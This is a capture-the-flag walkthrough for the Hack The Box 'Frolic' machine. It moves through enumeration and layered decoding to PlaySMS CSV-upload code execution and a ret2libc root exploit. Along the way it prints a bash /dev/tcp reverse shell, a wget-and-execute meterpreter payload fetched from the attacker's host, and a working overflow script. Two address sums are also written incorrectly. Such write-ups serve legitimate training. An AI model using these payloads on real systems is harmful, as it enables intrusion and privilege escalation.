Hack the Box (HTB) – Frolic (Buffer Overflow)

Vulnerable to return to libc buffer overflow. https://en.wikipedia.org/wiki/Return-to-libc_attack

User flag

Open ports

IP=10.10.10.111
nmap -T4 -sT -p 1-65535 $IP
PORT     STATE SERVICE
22/tcp   open  ssh
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1880/tcp open  vsat-control
9999/tcp open  abyss

Port 22 SSH

cd /usr/share/nmap/scripts/
nmap -sV -p 22 --script=ssh* $IP

Ports 139/445 SMB

nmap -sV -p 445 --script=smb* $IP
nbtscan -r $IP
Doing NBT name scan for addresses from 10.10.10.111

IP address       NetBIOS Name     Server    User             MAC address      
------------------------------------------------------------------------------
10.10.10.111     FROLIC           <server>  FROLIC           00:00:00:00:00:00
rpcclient -U "" $IP                                                                                                                               1 ⨯
Enter WORKGROUP\'s password: 
rpcclient $> srvinfo
        FROLIC         Wk Sv PrQ Unx NT SNT frolic server (Samba, Ubuntu)
        platform_id     :       500
        os version      :       6.1
        server type     :       0x809a03
rpcclient $> getdompwinfo FROLIC
min_password_length: 5
password_properties: 0x00000000

We find user FROLIC, with password policy of 5 chars minimum on Ubuntu machine.

Port 1880

There is a web application “Node-RED” at http://10.10.10.111:1880 with a login page.

URL="http://10.10.10.111:1880"
WL=/usr/share/dirb/wordlists/common.txt
gobuster dir -k -u $URL -w $WL -s '200,204,301,302,307,403,500' -e
http://10.10.10.111:1880/favicon.ico          (Status: 200) [Size: 16958]
http://10.10.10.111:1880/flows                (Status: 401) [Size: 12]   
http://10.10.10.111:1880/icons                (Status: 401) [Size: 12]   
http://10.10.10.111:1880/red                  (Status: 301) [Size: 173] [--> /red/]
http://10.10.10.111:1880/settings             (Status: 401) [Size: 12]             
http://10.10.10.111:1880/vendor               (Status: 301) [Size: 179] [--> /vendor/]

Try default credentials for Node-RED. The default login username is NR_account and password for Node-Red is NodeRed#0123..

WL=/usr/share/wordlists/rockyou.txt
ncrack -u FROLIC -P $WL http://${IP}:1880

Port 9999

There is a web server nginx at http://10.10.10.111:9999.

URL="http://10.10.10.111:9999"
WL=/usr/share/dirb/wordlists/common.txt
gobuster dir -k -u $URL -w $WL -s '200,204,301,302,307,403,500' -e
http://10.10.10.111:9999/.htaccess            (Status: 403) [Size: 178]
http://10.10.10.111:9999/.htpasswd            (Status: 403) [Size: 178]
http://10.10.10.111:9999/.hta                 (Status: 403) [Size: 178]
http://10.10.10.111:9999/admin                (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/admin/]
http://10.10.10.111:9999/backup               (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/backup/]
http://10.10.10.111:9999/dev                  (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/]   
http://10.10.10.111:9999/test                 (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/test/]  

Execute gobuster for every directory previously found.

URL="http://10.10.10.111:9999/dev"
WL=/usr/share/dirb/wordlists/common.txt
gobuster dir -k -u $URL -w $WL -s '200,204,301,302,307,403,500' -e
http://10.10.10.111:9999/dev/.htpasswd            (Status: 403) [Size: 178]
http://10.10.10.111:9999/dev/.hta                 (Status: 403) [Size: 178]
http://10.10.10.111:9999/dev/.htaccess            (Status: 403) [Size: 178]
http://10.10.10.111:9999/dev/backup               (Status: 301) [Size: 194] [--> http://10.10.10.111:9999/dev/backup/]
http://10.10.10.111:9999/dev/test                 (Status: 200) [Size: 5]

The page http://10.10.10.111:9999/dev/backup says /playsms, but playsms is not found under /dev/backup. However, there is a login page at http://10.10.10.111:9999/playsms.

http://10.10.10.111:9999/backup/

password.txt user.txt loop/

http://10.10.10.111:9999/backup/user.txt

user - admin

http://10.10.10.111:9999/backup/password.txt

password - imnothuman

There is a PHP page at http://10.10.10.111:9999/test/ displaying server configurations (phpinfo page).

There is a login page at http://10.10.10.111:9999/admin/ saying “c’mon i m hackable”… and the title says “Crack me :|”… There is no need for bruteforce, as the credentials are in the script http://10.10.10.111:9999/admin/js/login.js

if ( username == "admin" && password == "superduperlooperpassword_lol"){
alert ("Login successfully");
window.location = "success.html"; // Redirecting to other page.
return false;
}

We find user admin with password superduperlooperpassword_lol

Log in the application. Content of /admin/success.html

..... ..... ..... .!?!! .?... ..... ..... ...?. ?!.?. ..... ..... .....
..... ..... ..!.? ..... ..... .!?!! .?... ..... ..?.? !.?.. ..... .....
....! ..... ..... .!.?. ..... .!?!! .?!!! !!!?. ?!.?! !!!!! !...! .....
..... .!.!! !!!!! !!!!! !!!.? ..... ..... ..... ..!?! !.?!! !!!!! !!!!!
!!!!? .?!.? !!!!! !!!!! !!!!! .?... ..... ..... ....! ?!!.? ..... .....
..... .?.?! .?... ..... ..... ...!. !!!!! !!.?. ..... .!?!! .?... ...?.
?!.?. ..... ..!.? ..... ..!?! !.?!! !!!!? .?!.? !!!!! !!!!. ?.... .....
..... ...!? !!.?! !!!!! !!!!! !!!!! ?.?!. ?!!!! !!!!! !!.?. ..... .....
..... .!?!! .?... ..... ..... ...?. ?!.?. ..... !.... ..... ..!.! !!!!!
!.!!! !!... ..... ..... ....! .?... ..... ..... ....! ?!!.? !!!!! !!!!!
!!!!! !?.?! .?!!! !!!!! !!!!! !!!!! !!!!! .?... ....! ?!!.? ..... .?.?!
.?... ..... ....! .?... ..... ..... ..!?! !.?.. ..... ..... ..?.? !.?..
!.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .!?!! .?!!! !!!?.
?!.?! !!!!! !!!!! !!... ..... ...!. ?.... ..... !?!!. ?!!!! !!!!? .?!.?
!!!!! !!!!! !!!.? ..... ..!?! !.?!! !!!!? .?!.? !!!.! !!!!! !!!!! !!!!!
!.... ..... ..... ..... !.!.? ..... ..... .!?!! .?!!! !!!!! !!?.? !.?!!
!.?.. ..... ....! ?!!.? ..... ..... ?.?!. ?.... ..... ..... ..!.. .....
..... .!.?. ..... ...!? !!.?! !!!!! !!?.? !.?!! !!!.? ..... ..!?! !.?!!
!!!!? .?!.? !!!!! !!.?. ..... ...!? !!.?. ..... ..?.? !.?.. !.!!! !!!!!
!!!!! !!!!! !.?.. ..... ..!?! !.?.. ..... .?.?! .?... .!.?. ..... .....
..... .!?!! .?!!! !!!!! !!!!! !!!?. ?!.?! !!!!! !!!!! !!.!! !!!!! .....
..!.! !!!!! !.?.

This is the Ook! programming language. Decode de message: https://www.dcode.fr/ook-language

Nothing here check /asdiSIAJJ0QWE9JAS

Go to http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS

UEsDBBQACQAIAMOJN00j/lsUsAAAAGkCAAAJABwAaW5kZXgucGhwVVQJAAOFfKdbhXynW3V4CwAB BAAAAAAEAAAAAF5E5hBKn3OyaIopmhuVUPBuC6m/U3PkAkp3GhHcjuWgNOL22Y9r7nrQEopVyJbs K1i6f+BQyOES4baHpOrQu+J4XxPATolb/Y2EU6rqOPKD8uIPkUoyU8cqgwNE0I19kzhkVA5RAmve EMrX4+T7al+fi/kY6ZTAJ3h/Y5DCFt2PdL6yNzVRrAuaigMOlRBrAyw0tdliKb40RrXpBgn/uoTj lurp78cmcTJviFfUnOM5UEsHCCP+WxSwAAAAaQIAAFBLAQIeAxQACQAIAMOJN00j/lsUsAAAAGkC AAAJABgAAAAAAAEAAACkgQAAAABpbmRleC5waHBVVAUAA4V8p1t1eAsAAQQAAAAABAAAAABQSwUG AAAAAAEAAQBPAAAAAwEAAAAA 

Decode the base64. This is a ZIP file of index.php. Download it.

wget http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/
cat index.html | base64 -d > file.zip

This is an encrypted ZIP file of index.php…

# Use word list, list MUST BE SORTED: sort(1)
cat /usr/share/wordlists/rockyou.txt | sort > /usr/share/wordlists/rockyou_sorted.txt

ZIPFILE=/root/file.zip
WL=/usr/share/wordlists/rockyou_sorted.txt

fcrackzip -u -D -p $WL $ZIPFILE
PASSWORD FOUND!!!!: pw == password

ZIP file password is “password”

Unzip the file. This is hex.

4b7973724b7973674b7973724b7973675779302b4b7973674b7973724b7973674b79737250463067506973724b7973674b7934744c5330674c5330754b7973674b7973724b7973674c6a77720d0a4b7973675779302b4b7973674b7a78645069734b4b797375504373674b7974624c5434674c53307450463067506930744c5330674c5330754c5330674c5330744c5330674c6a77724b7973670d0a4b317374506973674b79737250463067506973724b793467504373724b3173674c5434744c53304b5046302b4c5330674c6a77724b7973675779302b4b7973674b7a7864506973674c6930740d0a4c533467504373724b3173674c5434744c5330675046302b4c5330674c5330744c533467504373724b7973675779302b4b7973674b7973385854344b4b7973754c6a776743673d3d0d0a

Decode to ASCII hex. This is base 64.

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKy4tLS0gLS0uKysgKysrKysgLjwr
KysgWy0+KysgKzxdPisKKysuPCsgKytbLT4gLS0tPF0gPi0tLS0gLS0uLS0gLS0tLS0gLjwrKysg
K1stPisgKysrPF0gPisrKy4gPCsrK1sgLT4tLS0KPF0+LS0gLjwrKysgWy0+KysgKzxdPisgLi0t
LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS0tLS4gPCsrKysgWy0+KysgKys8XT4KKysuLjwgCg==

Decode base 64. This is brainfuck…

+++++ +++++ [->++ +++++ +++<] >++++ +.--- --.++ +++++ .<+

++ [->++ +<]>+
++.<+ ++[-> ---<] >---- --.-- ----- .<+++ 

+[->+ +++<] >+++. <+++[ ->---
<]>-- .<+++ [->++ +<]>+ .--

-. <+++[ ->--- <]>-- ----. <++++ [->++ ++<]>
++..< 

Decode it using https://www.dcode.fr/brainfuck-language

idkwhatispass

We found password idkwhatispass

This password works for user “admin” at http://10.10.10.111:9999/playsms

There is a file upload functionality at My account -> Phonebook -> Import. There is a PlaySMS RCE vulnerability: https://www.exploit-db.com/exploits/44598

Start a listener with netcat

nc -lvkp 4444

Create file exploit.csv and import it. My Account -> Phonebook, click Import.

Name,Email,Department
<?php echo exec("whoami"); ?>,1,1

Now change the exploit.csv file for executing a reverse shell.

Name,Email,Department
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1'");?>,1,1

The listener on port 4444 should have received a connection. Upgrade it to a real shell.

python -c 'import pty;pty.spawn("/bin/bash")'

Upgrade the exploit to use a better shell (msf multi handler)

Start the Apache web server on Kali to distribute the payload

service apache2 start

Generate the reverse shell payload

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=5555 -f elf > /var/www/html/linux_shell.elf

Start a listener on port 5555

msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST x.x.x.x
set LPORT 5555
set ExitOnSession false
exploit -j -z

Create file exploit-msf.csv and import it. My Account -> Phonebook, click Import.

Name,Email,Department
<?php exec("wget -O /tmp/linux_shell.elf http://x.x.x.x/linux_shell.elf; chmod u+x /tmp/linux_shell.elf; /tmp/linux_shell.elf");?>,1,1

You should have received a connection in the Metasploit listener.

sessions
sessions -i 1
sysinfo
Computer     : 10.10.10.111
OS           : Ubuntu 16.04 (Linux 4.4.0-116-generic)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
shell
python -c 'import pty;pty.spawn("/bin/bash")'

Explore…

cat config.php
$core_config['db']['type'] = 'mysqli';          // database engine
$core_config['db']['host'] = 'localhost';       // database host/server
$core_config['db']['port'] = '3306';    // database port
$core_config['db']['user'] = 'root';    // database username
$core_config['db']['pass'] = 'ayush';   // database password
$core_config['db']['name'] = 'playsms'; // database name

MySQL root password is ayush.

ls -la /home
drwxr-xr-x  3 ayush ayush 4096 Sep 25  2018 ayush
drwxr-xr-x  7 sahay sahay 4096 Sep 25  2018 sahay

cd /home/ayush
ls -la
-rwxr-xr-x 1 ayush ayush   33 Sep 25  2018 user.txt

cat user.txt
2ab95909cf509f85a6f476b59a0c2fe0

FLAG: 2ab95909cf509f85a6f476b59a0c2fe0

Root flag (Buffer Overflow)

The home directory of ayush contains a .binary directory.

cd /home/ayush/.binary
ls -la
-rwsr-xr-x 1 root  root  7480 Sep 25  2018 rop

This binary is owned by the root user.

./rop
[*] Usage: program <message>
./rop test
[+] Message sent: test

The name of the binary “rop” hints to a buffer overflow on a technique called Return to libc that is a type of ROP. You can use the ldd command to find out which libc is being used by an application.

|-------------------------------|
|   buffer[52] = 'A' x 52       | ← Our buffer which contains random 'A's
|-------------------------------|
|   'AAAA'                      | ← $EBP replaced by 4 random bytes
|-------------------------------|
|   system()                    | ← Replaced the return address with the system call
|-------------------------------|
|   exit()                      | ← Allows us to exit cleanely after system()
|-------------------------------|
|   address of "/bin/sh"        | ← Argument for system()
|-------------------------------|

Fuzzing

./rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
<AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault (core dumped)

Create a fuzzing script on Kali and make it available through Apache web server.

#!/usr/bin/python
import os # Run os commands

for i in range(1, 50):
    buffer = 'A' * i

    print("\nFuzzing with " + str(i) + " bytes")
    #os.system('echo ' + buffer)
    os.system('/home/ayush/.binary/rop ' + buffer)
service apache2 start

On the victim machine, download the file.

wget -O /tmp/fuzzing.py x.x.x.x/fuzzing.py

Execute the script.

chmod u+x /tmp/fuzzing.py
/tmp/fuzzing.py
[+] Message sent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Fuzzing with 48 bytes
Segmentation fault (core dumped)

Download the rop binary (within the meterpreter session).

download /home/ayush/.binary/rop /root/

The same behavior happens on Kali machine using the fuzzing.py script.

[+] Message sent: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Fuzzing with 48 bytes
Segmentation fault (core dumped)

Find the exact offset.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 100
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Use gbd to debug. Set the argument to the pattern created by pattern_create.rb

gdb ./rop
set args 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A'
break main
run
step
Program received signal SIGSEGV, Segmentation fault.
0x62413762 in ?? ()

Find the exact offset using pattern_offset.rb

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 100 -q 62413762
[*] Exact match at offset 52

The buffer overflows at 52 chars.

In gdb

info registers
eax            0x64                100
ecx            0x0                 0
edx            0x0                 0
ebx            0xffffd140          -11968
esp            0xffffd110          0xffffd110
ebp            0x41366241          0x41366241
esi            0xf7fad000          -134557696
edi            0xf7fad000          -134557696
eip            0x62413762          0x62413762
eflags         0x10282             [ SF IF RF ]
cs             0x23                35
ss             0x2b                43
ds             0x2b                43
es             0x2b                43
fs             0x0                 0
gs             0x63                99

Find address of system(), in gdb:

print system
$1 = {<text variable, no debug info>} 0xf7e0d000 <system>

Find address of exit(), in gdb:

print exit
$2 = {<text variable, no debug info>} 0xf7dff950 <exit>

On the victim, find address of libc:

ldd rop
ldd rop
        linux-gate.so.1 =>  (0xb7fda000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
        /lib/ld-linux.so.2 (0xb7fdb000)

On the victim, find address of /bin/sh:

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
 15ba0b /bin/sh

Find address of system

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
   245: 00112f20    68 FUNC    GLOBAL DEFAULT   13 svcerr_systemerr@@GLIBC_2.0
   627: 0003ada0    55 FUNC    GLOBAL DEFAULT   13 __libc_system@@GLIBC_PRIVATE
  1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

Find address of exit

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
   112: 0002edc0    39 FUNC    GLOBAL DEFAULT   13 __cxa_at_quick_exit@@GLIBC_2.10
   141: 0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
   450: 0002edf0   197 FUNC    GLOBAL DEFAULT   13 __cxa_thread_atexit_impl@@GLIBC_2.18
   558: 000b07c8    24 FUNC    GLOBAL DEFAULT   13 _exit@@GLIBC_2.0
   616: 00115fa0    56 FUNC    GLOBAL DEFAULT   13 svc_exit@@GLIBC_2.0
   652: 0002eda0    31 FUNC    GLOBAL DEFAULT   13 quick_exit@@GLIBC_2.10
   876: 0002ebf0    85 FUNC    GLOBAL DEFAULT   13 __cxa_atexit@@GLIBC_2.1.3
  1046: 0011fb80    52 FUNC    GLOBAL DEFAULT   13 atexit@GLIBC_2.0
  1394: 001b2204     4 OBJECT  GLOBAL DEFAULT   33 argp_err_exit_status@@GLIBC_2.1
  1506: 000f3870    58 FUNC    GLOBAL DEFAULT   13 pthread_exit@@GLIBC_2.0
  2108: 001b2154     4 OBJECT  GLOBAL DEFAULT   33 obstack_exit_failure@@GLIBC_2.0
  2263: 0002e9f0    78 FUNC    WEAK   DEFAULT   13 on_exit@@GLIBC_2.0
  2406: 000f4c80     2 FUNC    GLOBAL DEFAULT   13 __cyg_profile_func_exit@@GLIBC_2.2

We have all we need to write the exploit:

  • system: 0x0003ada0 + 0xf7e0d000 = 0xb7e53da0
  • exit: 0x0002e9d0 + 0xf7dff950 = 0xb7e479d0
  • /bin/sh: 0x15ba0b
  • libc: 0xb7e19000

Address of shell (use online calculator) : address of libc + address of /bin/sh = 0xb7e19000 + 0x0015ba0b = 0xb7f74a0b

Final exploit, put it in /var/www/html/exploit_frolic.py on Kali:

#!/usr/bin/python

import struct

buf = "A" * 52
system = struct.pack("I" ,0xb7e53da0)
exit = struct.pack("I" ,0xb7e479d0)
shell = struct.pack("I" ,0xb7f74a0b)
print buf + system + exit + shell

On the victim machine:

wget -O /tmp/exploit_frolic.py http://10.10.14.26/exploit_frolic.py
chmod u+x /tmp/exploit_frolic.py
/home/ayush/.binary/rop `python /tmp/exploit_frolic.py`
whoami
root
cat /root/root.txt
85d3fdf03f969892538ba9a731826222

FLAG: 85d3fdf03f969892538ba9a731826222

Other simple payload:

./rop `python -c 'print("A"*52 + "\xa0\x3d\xe5\xb7" + "\xd0\x79\xe4\xb7" + "\x0b\x4a\xf7\xb7")'`